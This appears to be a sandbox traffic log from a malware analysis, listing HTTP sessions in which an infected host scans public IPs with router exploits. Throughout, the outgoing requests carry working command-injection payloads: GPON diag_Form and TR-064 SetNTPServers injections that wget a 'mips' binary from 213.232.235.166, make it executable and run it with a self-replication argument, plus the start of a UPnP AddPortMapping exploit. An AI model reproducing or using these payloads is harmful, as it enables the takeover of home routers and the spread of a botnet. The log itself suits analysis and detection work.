Apr 15, 2024 08:52:40.057878017 CEST	323	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 15 Apr 2024 06:52:39 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
303	192.168.2.13	53352	50.2.254.11	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:39.844356060 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:40.057564974 CEST	323	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 15 Apr 2024 06:52:39 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
304	192.168.2.13	55408	38.153.214.1	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:39.866082907 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:40.087776899 CEST	1289	IN	HTTP/1.1 400 Bad Request Server: squid/3.5.20 Mime-Version: 1.0 Date: Mon, 15 Apr 2024 06:52:39 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3468 X-Squid-Error: ERR_INVALID_URL 0 Connection: close Data Raw: 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 36 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 36 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 30 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2f 73 71 75 69 64 2d 69 6e 74 65 72 6e 61 6c 2d 73 74 61 74 69 63 2f 69 63 6f 6e 73 2f 53 4e 2e 70 6e 67 27 29 20 6e 6f 2d Data Ascii: <html><head><meta type="copyright" content="Copyright (C) 1996-2016 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2016 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area */#titles {margin-left: 15px;padding: 10px;padding-left: 100px;background: url('/squid-internal-static/icons/SN.png') no-
Apr 15, 2024 08:52:40.087790966 CEST	1289	IN	Data Raw: 72 65 70 65 61 74 20 6c 65 66 74 3b 0a 7d 0a 0a 2f 2a 20 69 6e 69 74 69 61 6c 20 74 69 74 6c 65 20 2a 2f 0a 23 74 69 74 6c 65 73 20 68 31 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 23 74 69 74 6c 65 73 20 68 32 20 7b 0a 09 Data Ascii: repeat left;}/* initial title /#titles h1 {color: #000000;}#titles h2 {color: #000000;}/ special event: FTP success page titles /#titles ftpsuccess {background-color:#00ff00;width:100%;}/ Page displayed body content ar
Apr 15, 2024 08:52:40.087812901 CEST	1146	IN	Data Raw: 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 68 32 3e 0a 3c 2f 64 69 76 3e 0a 3c 68 72 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 70 3e 54 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 20 65 72 Data Ascii: RL could not be retrieved</h2></div><hr><div id="content"><p>The following error was encountered while trying to retrieve the URL: <a href="/GponForm/diag_Form?images/">/GponForm/diag_Form?images/</a></p><blockquote id="error"><p><b>In

Session ID	Source IP	Source Port	Destination IP	Destination Port
305	192.168.2.13	53884	47.203.35.24	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:39.939682961 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
306	192.168.2.13	37514	71.222.190.222	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:39.978473902 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
307	192.168.2.13	60658	133.114.90.23	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:40.027084112 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:40.297161102 CEST	76	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
308	192.168.2.13	54480	207.154.223.94	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:40.148484945 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:41.696458101 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:41.997153044 CEST	323	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 15 Apr 2024 06:52:41 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
309	192.168.2.13	49058	160.218.114.130	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:40.172956944 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:40.519772053 CEST	571	IN	HTTP/1.1 302 Moved Temporarily Date: Mon, 15 Apr 2024 08:52:40 GMT X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Cache-Control: no-cache Content-Length: 266 Connection: close Location: https://160.218.114.130/GponForm/diag_Form?images/ Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4d 6f 76 65 64 20 54 65 6d 70 6f 72 61 72 69 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 31 3e 4d 6f 76 65 64 20 54 65 6d 70 6f 72 61 72 69 6c 79 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 31 36 30 2e 32 31 38 2e 31 31 34 2e 31 33 30 2f 47 70 6f 6e 46 6f 72 6d 2f 64 69 61 67 5f 46 6f 72 6d 3f 69 6d 61 67 65 73 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0d 0a 3c 61 64 64 72 65 73 73 3e 77 65 62 73 65 72 76 65 72 20 61 74 20 3a 3a 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Moved Temporarily</title></head><body><h1>Moved Temporarily</h1><p>The document has moved <a href="https://160.218.114.130/GponForm/diag_Form?images/">here</a>.</p><address>webserver at :: Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
310	192.168.2.13	34138	37.238.252.248	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:40.214627028 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:42.112452030 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
311	192.168.2.13	51374	147.192.6.14	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:40.432346106 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:40.724467039 CEST	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
312	192.168.2.13	51950	220.84.221.187	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:40.443386078 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
313	192.168.2.13	49770	14.54.98.210	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:40.446990967 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
314	192.168.2.13	43196	211.225.254.112	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:40.468296051 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
315	192.168.2.13	38116	164.250.228.64	52869

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:40.654313087 CEST	928	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 